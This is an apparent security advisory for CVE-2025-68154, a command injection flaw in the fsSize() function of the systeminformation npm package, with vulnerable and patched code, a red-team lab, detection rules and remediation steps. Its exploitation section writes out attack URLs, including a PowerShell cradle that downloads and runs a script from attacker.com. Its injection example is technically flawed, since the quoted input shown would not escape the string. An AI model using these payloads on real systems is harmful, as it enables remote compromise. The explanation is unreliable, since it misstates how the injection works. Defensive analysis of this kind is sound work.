CVE-2025-68154

Executive Summary

CVE-2025-68154 is a critical OS command injection vulnerability in the systeminformation npm library, affecting versions prior to 5.27.14. The flaw resides in the fsSize() function, which on Windows systems directly concatenates the optional drive parameter into a PowerShell command without sanitization. This allows an attacker to execute arbitrary commands if they can control the input passed to this function. The vulnerability has a CVSS score of 8.1, indicating high severity. While the EPSS score is currently 0.0%, the lack of a public PoC does not diminish the risk for applications that pass user-controlled input to fsSize(). The patch in version 5.27.14 addresses the issue by properly sanitizing the drive parameter.

Supply Chain & Package Security

This vulnerability affects the systeminformation npm package, a widely used library for retrieving system and OS information in Node.js applications. The supply chain risk is significant because many applications may depend on this library, and if they pass user input to the fsSize() function, they become vulnerable. Developers should immediately update to version 5.27.14 or later and audit their code for any usage of fsSize() with user-controlled input. The npm ecosystem's dependency chain can amplify the impact, as transitive dependencies may also be affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker needs local access or the ability to influence a local process.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No privileges are needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must trigger the vulnerable function with attacker-controlled input.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Full system read access is possible.
• Integrity (I): High (H) - Full system write access is possible.
• Availability (A): High (H) - Full system disruption is possible.

Threat Level: High. The vulnerability allows arbitrary command execution on Windows systems, which can lead to complete system compromise.

Deep Dive & Mechanics

The fsSize() function in systeminformation is designed to retrieve file system size information. On Windows, it constructs a PowerShell command to gather this data. The vulnerable code directly concatenates the drive parameter into the command string without any sanitization. For example, if an attacker provides a drive value like C:\; calc.exe, the resulting PowerShell command becomes something like Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | Where-Object { $_.DeviceID -eq 'C:\; calc.exe' }, which would execute calc.exe after the semicolon.

The vulnerability is only exploitable if an application passes user-controlled input to the drive parameter of fsSize(). If the application hardcodes the drive or uses a whitelist, it is not vulnerable. The patch in version 5.27.14 sanitizes the drive parameter by escaping or removing dangerous characters.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 5.27.14):

// In lib/filesystem.js (Windows path)
let command = `Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | Where-Object { $_.DeviceID -eq '${drive}' }`;
// No sanitization of drive parameter

Patched Code (5.27.14):

// In lib/filesystem.js (Windows path)
const sanitizedDrive = drive.replace(/[^a-zA-Z0-9:\\]/g, '');
let command = `Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | Where-Object { $_.DeviceID -eq '${sanitizedDrive}' }`;
// Sanitization removes dangerous characters

The patch uses a regular expression to remove any characters that are not alphanumeric, colon, or backslash, effectively preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Node.js on a Windows machine.
2. Create a vulnerable application:

   const si = require('systeminformation');
   const express = require('express');
   const app = express();
   app.get('/fs', (req, res) => {
       si.fsSize(req.query.drive).then(data => res.json(data)).catch(err => res.status(500).send(err));
   });
   app.listen(3000);
   

3. Install vulnerable version: npm install systeminformation@5.27.13

Exploitation:

• Send a request with a malicious drive parameter:

  http://localhost:3000/fs?drive=C:\; calc.exe
  

• This will execute calc.exe on the server. For more advanced payloads, use PowerShell commands like:

  http://localhost:3000/fs?drive=C:\; powershell -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
  

Blue Team

Detection:

• Monitor for unusual PowerShell command lines containing Get-WmiObject Win32_LogicalDisk with unexpected parameters.
• Look for processes spawned by Node.js that execute calc.exe, cmd.exe, or powershell.exe with suspicious arguments.
• Use the Sigma rule provided in the Detection Engineering section.

Hunting:

• Search for logs where the drive parameter contains special characters like ;, |, &, or backticks.
• Correlate with network connections to external IPs if the payload downloads additional malware.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs from the Node.js process.
• Process: Spawning of cmd.exe, powershell.exe, or calc.exe from a Node.js process.
• File: Creation of suspicious files in temporary directories (e.g., %TEMP%).
• Registry: Unusual registry modifications (if the payload includes persistence mechanisms).
• Logs: Event ID 4688 (Windows) showing a new process created by Node.js with a command line containing Get-WmiObject Win32_LogicalDisk.

Detection Engineering

YARA Rule

rule CVE_2025_68154_Systeminformation_CommandInjection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68154 in systeminformation npm package"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68154"
        severity = "high"
    strings:
        $s1 = "Get-WmiObject Win32_LogicalDisk" ascii wide nocase
        $s2 = "fsSize" ascii wide nocase
        $s3 = "drive" ascii wide nocase
        $s4 = "systeminformation" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-68154 - Systeminformation Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2025-68154 via PowerShell command injection in systeminformation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68154
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\node.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\calc.exe'
        CommandLine|contains: 'Get-WmiObject Win32_LogicalDisk'
    condition: selection
falsepositives:
    - Legitimate use of systeminformation with hardcoded drive parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68154 - Systeminformation Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/fs"; http_uri; content:"drive="; http_uri; pcre:"/drive=[^&]*[;|&`]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update systeminformation to version 5.27.14 or later: npm update systeminformation
2. If immediate update is not possible, sanitize the drive parameter in your application code before passing it to fsSize().
3. Review all usages of fsSize() in your codebase to ensure no user-controlled input is passed.

Long-term Mitigations:

• Implement input validation for all parameters passed to system functions.
• Use a web application firewall (WAF) to block requests with suspicious characters in the drive parameter.
• Monitor for unusual PowerShell activity as described in the Detection Engineering section.
• Conduct a security audit of all npm dependencies to identify similar vulnerabilities.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert